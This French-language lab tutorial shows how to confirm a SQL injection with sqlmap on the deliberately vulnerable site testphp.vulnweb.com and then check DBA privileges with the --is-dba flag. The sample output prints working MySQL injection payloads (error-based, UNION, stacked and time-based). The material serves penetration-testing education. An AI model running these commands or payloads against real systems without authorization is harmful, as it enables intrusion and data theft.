Introduction
Dans le domaine de la cybersécurité et des tests d'intrusion, il est primordial de comprendre le niveau d'accès que vous avez obtenu sur un système compromis. Lorsqu'il s'agit de systèmes de bases de données, l'une des informations les plus critiques est de savoir si l'utilisateur actuel de la base de données possède les privilèges d'administrateur de base de données (DBA). Un utilisateur DBA dispose généralement d'un contrôle étendu sur la base de données, y compris la capacité de créer, modifier et supprimer des bases de données, des tables et des utilisateurs, ainsi que de lire et d'écrire des données sensibles.
sqlmap est un outil de test d'intrusion open-source qui automatise le processus de détection et d'exploitation des failles d'injection SQL et de prise de contrôle des serveurs de bases de données. Au-delà de la simple recherche de vulnérabilités, sqlmap offre diverses fonctionnalités pour énumérer et interagir avec la base de données compromise. L'une de ces fonctionnalités cruciales est la capacité de vérifier si l'utilisateur actuel de la base de données dispose des privilèges DBA.
Ce laboratoire vous guidera à travers le processus d'utilisation de sqlmap pour déterminer si l'utilisateur actuel de la base de données possède les privilèges DBA. Vous apprendrez à établir une injection SQL réussie, à comprendre pourquoi les privilèges DBA sont importants, puis à utiliser l'option --is-dba de sqlmap pour effectuer la vérification. Enfin, vous interpréterez les résultats pour comprendre le niveau d'accès.
Établir une injection réussie sur une cible
Dans cette étape, nous allons simuler l'établissement d'une injection SQL réussie sur une cible. Aux fins de ce laboratoire, nous utiliserons une URL vulnérable connue que sqlmap peut exploiter. Cette première étape est cruciale car sqlmap a besoin d'un point d'injection valide pour interagir avec la base de données et effectuer une énumération supplémentaire, y compris la vérification des privilèges DBA.
Ouvrez votre terminal dans le répertoire ~/project. Nous utiliserons une URL factice à des fins de démonstration. Dans un scénario réel, vous auriez identifié une URL vulnérable par le biais de la reconnaissance et de tests manuels.
Exécutez la commande sqlmap suivante pour confirmer une injection réussie. Nous utiliserons les options --url et --batch pour automatiser le processus et accepter les choix par défaut.
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
Vous devriez voir sqlmap effectuer divers tests et confirmer finalement que la cible est vulnérable à l'injection SQL. Recherchez les sorties indiquant la détection réussie de vulnérabilités.
_
___| |_____ ___ ___ ___ {1.6.11.1#dev}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --[sqlmap]--
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[SNIP]
[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
sqlmap identified the following injection point(s) with a total of 18 HTTP(s) requests:
---
Parameter: cat (GET)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7178717871,(SELECT (ELT(1337=1337,1))),0x717a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query all columns - 10 columns
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
Type: Stacked queries
Title: MySQL > 5.0.11 stacked queries (comment)
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1;SELECT SLEEP(5)--
Type: Time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'
La sortie confirme que le paramètre cat est vulnérable à divers types d'injection SQL. Cela signifie que sqlmap peut désormais interagir avec la base de données.
Comprendre l'importance des privilèges DBA
Dans cette étape, nous discuterons brièvement de l'importance de vérifier les privilèges DBA dans le cadre d'une évaluation de sécurité ou d'un test d'intrusion. Comprendre les implications de l'accès DBA vous aide à prioriser vos actions et à évaluer l'impact potentiel d'une exploitation réussie.
Un administrateur de base de données (DBA) détient généralement le plus haut niveau de privilèges au sein d'un système de base de données. Ces privilèges incluent souvent :
- Contrôle total sur les données : La capacité de lire, écrire, modifier et supprimer toutes les données de la base de données, y compris les informations sensibles telles que les identifiants des utilisateurs, les dossiers financiers ou les données personnelles.
- Modification du schéma : Le pouvoir de créer, modifier ou supprimer des tables, des vues, des procédures stockées et d'autres objets de base de données. Cela peut entraîner une manipulation des données, voire un déni de service.
- Gestion des utilisateurs : La capacité de créer, modifier ou supprimer d'autres utilisateurs de base de données et de leur attribuer ou révoquer leurs privilèges. Cela peut être utilisé pour créer des portes dérobées ou pour escalader davantage les privilèges.
- Accès au niveau système (dans certains cas) : Selon le système de base de données et sa configuration, les privilèges DBA peuvent s'étendre à l'exécution de commandes du système d'exploitation ou à l'accès aux fichiers sur le serveur, conduisant à un compromis complet du système.
Si vous découvrez que l'utilisateur actuel de la base de données possède des privilèges DBA, cela signifie une vulnérabilité critique. Cela implique que vous avez un contrôle étendu sur la base de données, qui peut être exploité pour des attaques ultérieures, l'exfiltration de données ou le compromis du système. Inversement, si l'utilisateur ne possède pas de privilèges DBA, votre accès est limité et vous pourriez devoir rechercher des opportunités d'escalade de privilèges.
Cette étape n'implique aucune commande directe mais est cruciale pour comprendre le contexte des étapes suivantes.
Utiliser le drapeau --is-dba pour vérifier les privilèges de l'utilisateur actuel
Dans cette étape, nous allons découvrir le drapeau spécifique de sqlmap utilisé pour vérifier les privilèges DBA : --is-dba. Ce drapeau est conçu pour déterminer rapidement si l'utilisateur actuel de la base de données, identifié par l'injection SQL, possède des droits administratifs.
Le drapeau --is-dba est une option booléenne. Lorsqu'il est utilisé, sqlmap effectuera une série de vérifications sur la base de données pour déterminer si l'utilisateur dispose des permissions de niveau DBA. Le résultat sera une simple sortie True ou False, indiquant la présence ou l'absence de ces privilèges.
Il est important de noter que sqlmap doit avoir établi avec succès un point d'injection (comme nous l'avons fait à l'étape 1) avant de pouvoir utiliser efficacement le drapeau --is-dba. Sans une injection valide, sqlmap ne peut pas communiquer avec la base de données pour effectuer les vérifications nécessaires.
La syntaxe pour utiliser ce drapeau est simple :
sqlmap --url "<target_url>" --is-dba
Où <target_url> est l'URL vulnérable que vous avez identifiée. Dans notre cas, ce sera http://testphp.vulnweb.com/listproducts.php?cat=1.
Cette étape est également principalement conceptuelle, vous préparant à l'exécution réelle dans l'étape suivante.
Exécuter la commande pour vérifier le statut DBA
Maintenant que nous comprenons le drapeau --is-dba, exécutons la commande sqlmap pour vérifier les privilèges DBA sur notre cible.
Ouvrez votre terminal dans le répertoire ~/project. Nous utiliserons la même URL vulnérable que lors de l'étape 1.
Exécutez la commande suivante :
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba --batch
Le drapeau --batch est à nouveau ajouté pour automatiser le processus et accepter les choix par défaut, empêchant sqlmap de demander une saisie utilisateur pendant le processus.
sqlmap va maintenant effectuer ses vérifications. Observez attentivement la sortie. Vous devriez voir sqlmap tester divers privilèges et finalement fournir une réponse claire concernant le statut DBA.
_
___| |_____ ___ ___ ___ {1.6.11.1#dev}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --[sqlmap]--
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[SNIP]
[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'
[INFO] checking if the current user is DBA
[INFO] the current user is not a DBA
[INFO] fetched data:
[INFO] the current user is DBA: False
Dans la sortie, recherchez la ligne qui indique explicitement "the current user is DBA: False" ou "the current user is DBA: True". C'est le résultat de notre vérification.
Interpréter le résultat Vrai ou Faux de sqlmap
Dans cette dernière étape, nous allons interpréter le résultat True ou False obtenu lors de la vérification --is-dba de sqlmap et comprendre ses implications.
Après avoir exécuté la commande à l'étape 4, sqlmap affichera une ligne similaire à :
[INFO] the current user is DBA: False
ou
[INFO] the current user is DBA: True
Interprétation du résultat :
[INFO] the current user is DBA: False: Ceci indique que l'utilisateur actuel de la base de données, via lequelsqlmapinteragit avec la base de données, ne possède pas les privilèges d'administrateur de base de données (DBA). Bien que vous ayez réussi à exploiter une injection SQL, votre accès est limité. Dans un test de pénétration réel, cela signifierait que vous devez rechercher d'autres voies, telles que des techniques d'escalade de privilèges, pour obtenir un accès supérieur.[INFO] the current user is DBA: True: Ceci indique que l'utilisateur actuel de la base de données possède bien les privilèges d'administrateur de base de données (DBA). C'est une découverte significative, car elle implique un contrôle étendu sur la base de données. Avec des privilèges DBA, vous pourriez potentiellement :- Lire, modifier ou supprimer n'importe quelle donnée.
- Créer de nouveaux utilisateurs avec des droits administratifs.
- Exécuter des commandes du système d'exploitation (si la configuration de la base de données le permet).
- Effectuer une énumération supplémentaire pour découvrir des informations sensibles.
Pour la cible http://testphp.vulnweb.com utilisée dans ce laboratoire, le résultat attendu est False, ce qui signifie que l'utilisateur avec lequel sqlmap opère n'a pas les privilèges DBA. C'est un scénario courant dans les applications réelles où les utilisateurs de bases de données sont souvent configurés selon le principe du moindre privilège.
Comprendre ce résultat est crucial pour planifier vos prochaines étapes dans une évaluation de sécurité. Cela vous aide à évaluer la gravité de la vulnérabilité d'injection SQL et l'impact potentiel sur le système cible.
Résumé
Dans ce laboratoire, vous avez appris avec succès comment vérifier les privilèges d'administrateur de base de données (DBA) à l'aide de sqlmap. Vous avez commencé par établir une injection SQL réussie sur une cible, ce qui est une condition préalable pour que sqlmap interagisse avec la base de données. Nous avons ensuite discuté de l'importance cruciale de l'identification des privilèges DBA dans un contexte de sécurité, en soulignant le contrôle étendu que ces privilèges accordent sur un système de base de données.
Vous avez découvert le drapeau spécifique de sqlmap, --is-dba, conçu à cet effet. Enfin, vous avez exécuté la commande et interprété le résultat True ou False, en comprenant ses implications pour les tests de pénétration ultérieurs ou les évaluations de sécurité. Cette compétence est fondamentale pour évaluer avec précision l'impact des vulnérabilités d'injection SQL et planifier les actions subséquentes dans un engagement de cybersécurité.


